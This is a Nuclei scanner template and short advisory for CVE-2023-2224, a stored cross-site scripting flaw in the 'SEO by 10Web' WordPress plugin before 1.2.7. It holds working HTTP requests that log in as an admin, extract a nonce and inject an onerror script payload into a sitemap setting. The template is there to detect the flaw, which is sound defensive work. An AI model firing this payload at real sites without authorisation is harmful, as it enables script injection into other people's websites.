The SEO by 10Web WordPress plugin before 1.2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
PoC代码[已公开]
id: CVE-2023-2224
info:
name: Seo By 10Web < 1.2.7 - Cross-Site Scripting
author: luisfelipe146
severity: medium
description: |
The SEO by 10Web WordPress plugin before 1.2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
reference:
- https://wpscan.com/vulnerability/a76b6d22-1e00-428a-8a04-12162bd0d992
- https://packetstormsecurity.com/files/173725/WordPress-Seo-By-10Web-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-2224
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2023-2224
cwe-id: CWE-79
epss-score: 0.00897
epss-percentile: 0.74815
cpe: cpe:2.3:a:10web:seo:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: 10web
product: seo
framework: wordpress
tags: cve2023,cve,wpscan,packetstorm,wp,wordpress,wp-plugin,xss,seo,10web,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=wdseo_sitemap HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin.php?page=wdseo_sitemap&id_message=2 HTTP/1.1
Host: {{Hostname}}
task=save&wd_settings%5Bsitemap%5D=1&wd_settings%5Bbing_verification%5D=&wd_settings%5Byandex_verification%5D=&wd_settings%5Bnotify_google%5D=0&wd_settings%5Bnotify_bing%5D=0&wd_settings%5Badditional_pages%5D%5B%5D=&wd_settings%5Badditional_pages%5D%5Bpage_url%5D%5B%5D=%22%3E%3Caudio+src%3Dx+onerror%3Dconfirm%28document.domain%29%3E&wd_settings%5Badditional_pages%5D%5Bpriority%5D%5B%5D=0&wd_settings%5Badditional_pages%5D%5Bfrequency%5D%5B%5D=always&wd_settings%5Badditional_pages%5D%5Blast_changed%5D%5B%5D=&wd_settings%5Bexclude_post_types%5D%5B%5D=&wd_settings%5Bexclude_taxonomies%5D%5B%5D=&wd_settings%5Bexclude_archives%5D%5B%5D=&wd_settings%5Bexclude_posts%5D=&wd_settings%5Bsitemap_image%5D=0&wd_settings%5Bsitemap_video%5D=0&wd_settings%5Bsitemap_stylesheet%5D=1&wd_settings%5Blimit%5D=1000&wd_settings%5Bautoupdate_sitemap%5D=0&nonce_wdseo={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dwdseo_sitemap%26id_message%3D1
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- 'value=""><audio src=x onerror=confirm(document.domain)>"'
- type: word
part: header_3
words:
- text/html
- type: status
part: header_3
status:
- 200
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- 'name="nonce_wdseo" value="([a-z0-9]+)" \/>'
internal: true
# digest: 4a0a00473045022100a338b52d2917ddd81d822ef6244a9d3fd60cea7c8a7d370adc95ccb959e734860220264d4fb158de806b62b15be55a94f3af132c2008f351d8f3469c1f02bfea3595:922c64590222798bb761d5b6d8e72950